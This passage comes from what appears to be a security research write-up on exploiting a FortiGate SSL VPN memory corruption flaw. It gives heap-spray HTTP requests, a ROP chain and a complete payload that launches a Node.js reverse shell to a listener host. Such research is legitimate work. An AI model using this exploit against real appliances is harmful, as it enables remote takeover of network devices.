    lVar5 = ((long)iVar3 + 6) * 0x20 + param_1;
    if ((*(byte *)(lVar5 + 0x10) & 2) != 0) {

        // r13 is copied into param_1 then pushed in FUN_01828e10
        iVar4 = FUN_01828e10(param_1, iVar3, 1);

        // ret 0x182a540 lands here after r13 is popped
        if (iVar4 != 0) goto LAB_0182a570;
        pbVar1 = (byte *)(lVar5 + 0x10);
        *pbVar1 = *pbVar1 & 0xfd;
    }
    ...
} while( true );

<span class="code_single-line">FUN_01828e10</span> has a lot going on and calls function pointers at multiple locations. One such location is shown below, note that at this stage the <span class="code_single-line">r13</span> value we overwrote has been copied to <span class="code_single-line">rdi</span>. Extraneous instructions have been omitted.

01828e2e 4c 8b af        MOV        R13,qword ptr [RDI + 0x298]
         98 02 00 00
...
01828e43 4d 8b 7d 70     MOV        R15,qword ptr [R13 + 0x70]
...
01828e7d 4a 8b 44        MOV        RAX,qword ptr [RAX + R15*0x1 + 0x20]
         38 20
...
01828e8b ff d0           CALL       RAX

This was really promising. It looked like if we set things up correctly we could jump to an address we controlled. The problem was we needed to perform two pointer dereferences and we wouldn't know the heap address containing our buffer so we couldn't point it at itself.

Instead we could try call a linked external function. These should already have the appropriate pointers in the PLT and GOT tables. We chose system and tried to determine what values we would need to call it.

Working backwards, we searched for references to system and found a pointer at <span class="code_single-line">0x042c5770</span>.

         PTR_system_042c5770     XREF[1]:     system:00440ee0
042c5770 58 66 93        addr    <EXTERNAL>::system
         0f 00 00 
         00 00
         

This was the last dereference, so we had the following, separated into two steps.

tmp0 = rax + r15 + 0x20 (0x042c5770)
rax  = *tmp0            (0x00440ee0)
call rax

We stepped through the code with the debugger and saw <span class="code_single-line">rax</span> was often <span class="code_single-line">0x20</span> at this point, so we could simplify it to the following.

tmp0 = r15 + 0x40 (0x042c5770)
rax  = *tmp0      (0x00440ee0)
call rax

Going back another step we searched all memory blocks for <span class="code_single-line">0x042C5730 (0x042c5770 - 0x40)</span>. We found it in the <span class="code_single-line">.rela.plt</span> section at <span class="code_single-line">0x004337b8</span>.

004337b8 30 57 2c 04 00  dq        42C5730h                r_offset      location to apply 
         00 00 00
004337c0 07 00 00 00 c5  dq        4C500000007h            r_info        the symbol table i
         04 00 00
004337c8 00 00 00 00 00  dq        0h                      r_addend      a constant addend 
         00 00 00
         

We now had the following:

tmp1 = r13 + 0x70 (0x004337b8)
r15  = *tmp1      (0x042C5730)
tmp0 = r15 + 0x40 (0x042c5770)
rax  = *tmp0      (0x00440ee0)
call rax

And the last step meant we just needed to write <span class="code_single-line">0x00433748</span> at <span class="code_single-line">rdi + 0x298</span>. Which since we controlled where <span class="code_single-line">rdi</span> pointed, should be no problem.

tmp2 = rdi + 0x298
r13  = *tmp2       (0x00433748)
tmp1 = r13 + 0x70  (0x004337b8)
r15  = *tmp1       (0x042C5730)
tmp0 = r15 + 0x40  (0x042c5770)
rax  = *tmp0       (0x00440ee0)
call rax

To recap, this was the plan going forward.

  1. Allocate a heap buffer containing <span class="code_single-line">0x00433748</span> at the right offset.
  2. Overwrite the lower two bytes of the saved <span class="code_single-line">r13</span> pointer with <span class="code_single-line">0x0a0d</span>, hopefully this should cause it to point to somewhere in the above heap allocation.
  3. <span class="code_single-line">r13</span> is popped and we loop around to call <span class="code_single-line">FUN_01828e10</span> with <span class="code_single-line">rdi</span> set to <span class="code_single-line">r13</span>.
  4. <span class="code_single-line">FUN_01828e10</span> will dereference <span class="code_single-line">rdi</span> then <span class="code_single-line">r13</span> then <span class="code_single-line">r15</span> leaving <span class="code_single-line">rax</span> with the address of system.
  5. <span class="code_single-line">system</span> is called and we get remote code execution.

Controlling the Heap

To get started, we had to understand how the value pointed to by <span class="code_single-line">r13</span> was allocated and if we could get an allocation of our own nearby.

We noticed that <span class="code_single-line">r13</span> was often allocated the same address and so we set a watchpoint on it. The goal was to find where the allocation occurred and what size it was. The watchpoint was hit as soon as we sent through a request and can be seen below along with the stack trace.

(gdb) watch *0x00007fc3dea548c0
Hardware watchpoint 6: *0x00007fc3dea548c0
(gdb) c
Continuing.
Hardware watchpoint 6: *0x00007fc3dea548c0

Old value = 25335392
New value = 0
0x00007fc3e37f2835 in __memset_avx2_unaligned_erms () from /usr/lib/x86_64-linux-gnu/libc.so.6
1: x/i $rip
=> 0x7fc3e37f2835 <__memset_avx2_unaligned_erms+165>:   vmovdqa YMMWORD PTR [rcx+0x60],ymm0
(gdb) bt
#0  0x00007fc3e37f2835 in __memset_avx2_unaligned_erms () from /usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fc3e391a665 in je_calloc () from /usr/lib/x86_64-linux-gnu/libjemalloc.so.2
#2  0x000000000181fddd in ?? ()
#3  0x00000000018380ab in ?? ()
#4  0x0000000001829bbd in ?? ()
#5  0x000000000182ab85 in ?? ()
#6  0x000000000182bdfc in ?? ()
#7  0x000000000182d182 in ?? ()
#8  0x000000000044afef in ?? ()
#9  0x00000000004504d8 in ?? ()
#10 0x0000000000450dc6 in ?? ()
#11 0x00000000004534f8 in ?? ()
#12 0x0000000000453df9 in ?? ()
#13 0x00007fc3e36bbdeb in __libc_start_main () from /usr/lib/x86_64-linux-gnu/libc.so.6
#14 0x000000000044615a in ?? ()

We set a breakpoint at <span class="code_single-line">0x18380a6</span> which is the function called for frame #3 in the above output. When this was hit we saw the requested allocation size was <span class="code_single-line">0x730</span> or <span class="code_single-line">1840</span> bytes.

Breakpoint 7, 0x00000000018380a6 in ?? ()
1: x/i $rip
=> 0x18380a6:   call   0x181fdb0
(gdb) i r
rax            0x1e     30
rbx            0x0      0
rcx            0xd0     208
rdx            0x3281a18        52959768
rsi            0x730    1840    <- allocation size
rdi            0x1      1       <- number of allocations
rbp            0x7ffce9b8d840   0x7ffce9b8d840
rsp            0x7ffce9b8d800   0x7ffce9b8d800

Next we setup some GDB scripts to automatically print calls to <span class="code_single-line">je_malloc</span> and <span class="code_single-line">je_calloc</span> if the allocation size was near <span class="code_single-line">0x730</span>. The script would print the start and end addresses of the allocations and their size.

b je_malloc if (($rdi >= 0x700) && ($rdi <= 0x800))
commands
    silent
    set $malloc_size = $rdi
    c
end

b *(je_malloc+205)
commands
    silent
    if (($malloc_size >= 0x700) && ($malloc_size <= 0x800))
        printf "je_malloc: %p : %p : %d\n", $rax, ($rax + $malloc_size), $malloc_size
        set $malloc_size = 0
    end
    c
end

b je_calloc if (($rsi >= 0x700) && ($rsi <= 0x800))
commands
    silent
    set $calloc_size = $rsi
    c
end

b *(je_calloc+340)
commands
    silent
    if (($calloc_size >= 0x700) && ($calloc_size <= 0x800))
        printf "je_calloc: %p : %p : %d\n", $rax, ($rax + $calloc_size), $calloc_size
        set $calloc_size = 0
    end
    c
end

set $malloc_size = 0
set $calloc_size = 0

With our crash request we saw just one allocation.

je_calloc: 0x7ff0b0254800 : 0x7ff0b0254f30 : 1840

We knew from previous exploits that FortiGate would create individual allocations for each form post parameter when they were parsed. This let us have a very fine-grained control of the allocations. We sent a request with five form parameters, each the same length as our target allocation size.

body = (b"A"*1840 + b"=&")*5

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

We could now see lots of allocations being printed. They weren't quite the same size, 32 bytes were added. However, we could just shrink the parameter size if we wanted it to be exact. Many of the allocations were contiguous and appeared to be in <span class="code_single-line">0x800</span> byte blocks.

je_calloc: 0x7ff0b0254800 : 0x7ff0b0254f30 : 1840
je_malloc: 0x7ff0af59c000 : 0x7ff0af59c750 : 1872
je_malloc: 0x7ff0af57d800 : 0x7ff0af57df50 : 1872
je_malloc: 0x7ff0af57d000 : 0x7ff0af57d750 : 1872
je_malloc: 0x7ff0af5a2800 : 0x7ff0af5a2f50 : 1872
je_malloc: 0x7ff0af53b000 : 0x7ff0af53b750 : 1872
je_malloc: 0x7ff0af53b800 : 0x7ff0af53bf50 : 1872
je_malloc: 0x7ff0af551000 : 0x7ff0af551750 : 1872
je_malloc: 0x7ff0af551800 : 0x7ff0af551f50 : 1872
je_malloc: 0x7ff0af572000 : 0x7ff0af572750 : 1872
je_malloc: 0x7ff0af572800 : 0x7ff0af572f50 : 1872
je_malloc: 0x7ff0af57a000 : 0x7ff0af57a750 : 1872

After some back and forth, tweaking the sizes and checking the results we had the following two requests.

ssock1 = make_sock(TARGET, PORT)

# spray the heap with ~0x800 sized allocations
body = (b"A"*1901 + b"=" + b"B"*1901 + b"&")*15

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1.sendall(data)

# short pause to ensure the form is parsed and
# allocated before starting the next connection
time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

We sent the requests and put a breakpoint just after our <span class="code_single-line">0x0a0d</span> overwrite.

je_calloc: 0x7ff0af5a6000 : 0x7ff0af5a6730 : 1840 <- first request allocation
je_malloc: 0x7ff0af5d0000 : 0x7ff0af5d0788 : 1928
je_malloc: 0x7ff0af5a5800 : 0x7ff0af5a5f88 : 1928
je_malloc: 0x7ff0af5a5000 : 0x7ff0af5a5788 : 1928
...
je_malloc: 0x7ff0af576800 : 0x7ff0af576f88 : 1928
je_malloc: 0x7ff0af54f000 : 0x7ff0af54f788 : 1928
je_malloc: 0x7ff0af57f800 : 0x7ff0af57ff88 : 1928
je_malloc: 0x7ff0af580000 : 0x7ff0af580788 : 1928 <- allocation pointed to after 0x0a0d overwrite 
je_malloc: 0x7ff0af580800 : 0x7ff0af580f88 : 1928
je_malloc: 0x7ff0af588000 : 0x7ff0af588788 : 1928
je_calloc: 0x7ff0af588000 : 0x7ff0af588730 : 1840 <- second request allocation

Breakpoint 5, 0x0000000001813696 in ?? ()
(gdb) x/10gx $rbp
0x7ffde554ae20: 0x00007ffde554ae70      0x0000000001828e8d
0x7ffde554ae30: 0x00007ffde554ae40      0x00007ff0af53b6a8
0x7ffde554ae40: 0x00007ffde554ae70      0x0000000000000000
0x7ffde554ae50: 0x00007ff0af5880c0      0x00007ff0af580a0d <- r13 overwritten with 0x0a0d
0x7ffde554ae60: 0x0000000000000000      0x000000010008239b
(gdb) x/10gx 0x00007ff0af580a0d
0x7ff0af580a0d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a1d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a2d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a3d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a4d: 0x4141414141414141      0x4141414141414141

With this we could reliably redirect the <span class="code_single-line">r13</span> pointer to a buffer we controlled. Now we just had to fill the buffer with our payload and we should have remote code execution.


<div id="calling-system"></div>

Calling System

We tweaked the form parameter to contain our pointer chain which would call <span class="code_single-line">system</span>. This was done by manually adding and removing padding either side until the value was aligned. We ended with the following request.

system_ptr = b"%48%37%43%00%00%00%00%00" # 0x00433748
body = (b"B"*1165 + system_ptr + b"B"*713 + b"=&")*25

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

We had to change the padding from "A" to "B" because of a check that a specific byte in our buffer ANDed with <span class="code_single-line">0x2</span> was not zero. "A" was <span class="code_single-line">0x41</span> and didn't meet this requirement.

// lVar5 + 0x10 points into our buffer at this stage
if ((*(byte *)(lVar5 + 0x10) & 2) != 0) {

    // FUN_01828e10 will dereference and call system
    iVar4 = FUN_01828e10(param_1, iVar3, 1);
    

We stepped through the pointer chain up to the call to <span class="code_single-line">system</span> and saw that the first argument, <span class="code_single-line">rdi</span>, already pointed to our buffer.

0x0000000001828e2e in ?? ()
1: x/i $rip
=> 0x1828e2e:   mov    r13,QWORD PTR [rdi+0x298]
(gdb) x/gx $rdi+0x298
0x7ff0af5c0ca5: 0x0000000000433748

...skipped

0x0000000001828e43 in ?? ()
1: x/i $rip
=> 0x1828e43:   mov    r15,QWORD PTR [r13+0x70]
(gdb) x/gx $r13+0x70
0x4337b8:       0x00000000042c5730

...skipped

=> 0x1828e7d:   mov    rax,QWORD PTR [rax+r15*1+0x20]
(gdb) x/gx $r15+0x40
0x42c5770:      0x0000000000440ee6

...skipped

0x0000000001828e8b in ?? ()
1: x/i $rip
=> 0x1828e8b:   call   rax
(gdb) si
0x0000000000440ee6 in system@plt ()
1: x/i $rip
=> 0x440ee6 <system@plt+6>:     push   0x4eb
(gdb) x/s $rdi
0x7ff0af5c0a0d: 'B' <repeats 200 times>...

We wrote in a payload and it worked, but realised we had made a mistake. system always runs <span class="code_single-line">/bin/sh</span>, which we had modified. The original <span class="code_single-line">/bin/sh</span> was a custom application that would only run a few commands.

Calling <span class="code_single-line">system</span> wasn't going to get us remote code execution. We would have to try a different approach.

<div id="not-giving-up"></div>

Not Giving Up

While this was quite disheartening, we weren't ready to give up. There were loads of other dynamically linked functions we could call. We looked for any that took a string as the first argument, but found none were that interesting.

Previous FortiGate exploits often overwrote a function pointer in an <span class="code_single-line">SSL</span> struct which would then be triggered by a call to <span class="code_single-line">SSL_do_handshake</span>. We didn't consider this originally because we didn't think we could overwrite this struct with just <span class="code_single-line">0x0a0d</span>.

However, we realised that since <span class="code_single-line">SSL_do_handshake</span> was dynamically linked we could call it ourselves. We controlled the first argument and just had to forge an SSL struct with the function pointer where we wanted it.

First we calculated the start of the PLT/GOT pointer chain to call <span class="code_single-line">SSL_do_handshake</span> as <span class="code_single-line">0x42ce60</span>. We then started stepping through SSL_do_handshake to see what parts of the SSL struct we needed to set in order to call the function pointer.

Below is a simplified version of <span class="code_single-line">SSL_do_handshake</span>. We wanted to call <span class="code_single-line">handshake_func</span> at the end of the function. It's a short function, but still requires some work. Most notably the function pointer call <span class="code_single-line">ssl_renegotiate_check</span>.

int SSL_do_handshake(SSL *s)
{
    int ret = 1;
    SSL_CONNECTION *sc = SSL_CONNECTION_FROM_SSL(s);

    if (sc->handshake_func == NULL) {
        ERR_raise(ERR_LIB_SSL, SSL_R_CONNECTION_TYPE_NOT_SET);
        return -1;
    }

    ossl_statem_check_finish_init(sc, -1);

    // double dereference is a problem
    s->method->ssl_renegotiate_check(s, 0);

    // SSL_in_init is easy to account for
    if (SSL_in_init(s) || SSL_in_before(s)) {

        // we do not want an async call, so this needs to go to the else block
        if ((sc->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;

            memset(&args, 0, sizeof(args));
            args.s = s;

            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            // handshake_func will be an address we control
            ret = sc->handshake_func(s);
        }
    }
    return ret;
}

To avoid a segfault on <span class="code_single-line">ssl_renegotiate_check</span> we used the same trick we used to call <span class="code_single-line">SSL_do_handshake</span>. It didn't matter what we called as long as it didn't break anything. The assembly for <span class="code_single-line">s->method->ssl_renegotiate_check(s, 0);</span> is:

call QWORD PTR [rax+0x60]

So we grabbed the PLT/GOT pointer for an innocuous function, <span class="code_single-line">getcwd</span> and subtracted <span class="code_single-line">0x60</span> from it which gave us <span class="code_single-line">0x42c6270</span>. After aligning everything again, we called <span class="code_single-line">SSL_do_handshake</span> and saw the following in the debugger.

0x00007ff0b49c0f16 in SSL_do_handshake () from /usr/lib/x86_64-linux-gnu/libssl.so.3
1: x/i $rip
=> 0x7ff0b49c0f16 <SSL_do_handshake+54>:        call   QWORD PTR [rax+0x60]
(gdb) i r
rax            0x42c6270        70017648 <- 0x42c6270 + 0x60 = 0x042c62d0 which points to getcwd 
...
(gdb) si
0x00000000004425a6 in getcwd@plt ()
1: x/i $rip
=> 0x4425a6 <getcwd@plt+6>:     push   0x657

Next was <span class="code_single-line">SSL_in_init</span> which was the following:

mov    eax,DWORD PTR [rdi+0x64]
ret
test   eax,eax

This was easy to achieve as none of our padding bytes were zero and the check always evaluated to true.

Last was the async job check <span class="code_single-line">sc->mode & SSL_MODE_ASYNC</span>, which was the following assembly.

test   BYTE PTR [rbp+0x9f1],0x1

It checked a specific byte somewhere in our buffer had the lowest bit set. Not a problem because we wanted the check to fail and all our padding bytes were <span class="code_single-line">0x42</span>.

We stepped through to the <span class="code_single-line">handshake_func</span> call and saw we had loaded in an address from our buffer. Now for the first time we could direct execution to an arbitrary address.

0x00007ff0b49c0f4e in SSL_do_handshake () from /usr/lib/x86_64-linux-gnu/libssl.so.3
1: x/i $rip
=> 0x7ff0b49c0f4e <SSL_do_handshake+110>:       jmp    rax
(gdb) i r
rax            0x4242424242424242       4774451407313060418
rbx            0x1      1

<div id="rop-chain-time"></div>

ROP Chain Time

From here it was mostly smooth sailing. We needed to build a ROP chain that would setup and call <span class="code_single-line">execl</span> with the same Node.js reverse shell as previous FortiGate exploits but modified to run <span class="code_single-line">/bin/node</span> instead of <span class="code_single-line">/bin/sh</span>. The <span class="code_single-line">/bin/init</span> binary is huge so there was no shortage of gadgets.

We looked at the registers just before the <span class="code_single-line">jmp rax</span> and saw that <span class="code_single-line">rdi</span> still pointed to our buffer. Using ropr we found a gadget to pivot the stack to our buffer with <span class="code_single-line">push rdi; pop rsp; ret;</span>.

$ ~/.cargo/bin/ropr --stack-pivot -R 'push rdi; pop rsp;' ./init-7.2.5
0x00527064: push rdi; pop rsp; bswap eax; bswap edx; sub eax, edx; ret;
0x00a5cc2d: push rdi; pop rsp; cli; add ecx, [rax-0x46]; iretd;
0x00fdf752: push rdi; pop rsp; ret;
0x015ca137: xor eax, 0xc0ba0953; push rdi; pop rsp; add [rsi+0xf], edi; mov rax, [rdi]; call qword ptr [rax+8];
0x015ca13c: push rdi; pop rsp; add [rsi+0xf], edi; mov rax, [rdi]; call qword ptr [rax+8];

==> Found 5 gadgets in 5.434 seconds

After this pivot, space was tight so we used another stack pivot <span class="code_single-line">add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;</span> to advance the stack forward. This gave us plenty of room.

We wanted to setup this call, <span class="code_single-line">execl("/bin/node", "/bin/node", "-e", "..js reverse shell..", 0)</span>, which meant setting the registers as follows:

  1. <span class="code_single-line">rdi</span> = pointer to "/bin/node"
  2. <span class="code_single-line">rsi</span> = pointer to "/bin/node"
  3. <span class="code_single-line">rdx</span> = pointer to "-e"
  4. <span class="code_single-line">rcx</span> = pointer to "..js reverse shell.."
  5. <span class="code_single-line">r8</span> = 0

Starting with <span class="code_single-line">rcx</span>, we created the following gadget chain. This would copy our buffer pointer in <span class="code_single-line">rdi</span> to <span class="code_single-line">rax</span>, shift it back <span class="code_single-line">0x2b8</span> bytes, then OR it into <span class="code_single-line">rcx</span>.

rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

Next was <span class="code_single-line">rdx</span>, after the previous gadget the value of <span class="code_single-line">rax</span> was one, so we shift it left to equal 16, OR <span class="code_single-line">rcx</span> into <span class="code_single-line">rdx</span> and then subtract <span class="code_single-line">rax</span> from <span class="code_single-line">rdx</span>. <span class="code_single-line">rdx</span> and <span class="code_single-line">rax</span> now point to 16 bytes before <span class="code_single-line">rcx</span>. Plenty of room for "-e"

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

Next was <span class="code_single-line">rsi</span>, we move <span class="code_single-line">rax</span> back another 16 bytes then copy it to <span class="code_single-line">rsi</span> with an ADD because <span class="code_single-line">rsi</span> is zero at this point.

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

Lastly <span class="code_single-line">rdi</span> and <span class="code_single-line">r8</span>, copy <span class="code_single-line">rax</span> to <span class="code_single-line">rdi</span>, then set <span class="code_single-line">r8</span> to zero by popping a zero.

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret;
rop += b"%00%00%00%00%00%00%00%00" # r8

Before we can call <span class="code_single-line">execl</span> we need to move the stack pointer again because it is too close to the arguments. Calling <span class="code_single-line">execl</span> will clobber the payload as part of its execution.

We pivot one last time with <span class="code_single-line">add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;</span> then return to <span class="code_single-line">execl</span> at <span class="code_single-line">0x43c180</span>. It was probably possible to do this third pivot before the start of the argument setup and shift the whole chain, but writing the exploit had already taken long enough.

We ended with the following payload. We found that moving the payload from the form name to the form value helped with heap allocation, but it wasn't required.

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

We started a netcat listener, ran the exploit and finally caught the reverse shell.

<div id="conclusion"></div>

Conclusion

This was another case of a network / security appliance having a pretty serious memory corruption vulnerability. It's also far from the first for FortiGate. As is often the case with these issues the mitigations are known, it's just whether or not they are applied. Stack canaries were present, but ASLR was not.

It seems like a lot of effort has been spent on preventing access to the filesystem; setting up the debugger was a significant portion of the time spent on this vulnerability. Would that effort be better spent on auditing and hardening the applications themselves?

Not much has been released in terms of IOCs for this vulnerability. However, watching for new Node.js processes may be beneficial as this isn't the first FortiGate exploit where this technique has been useful.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Written by:
Dylan Pindur
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.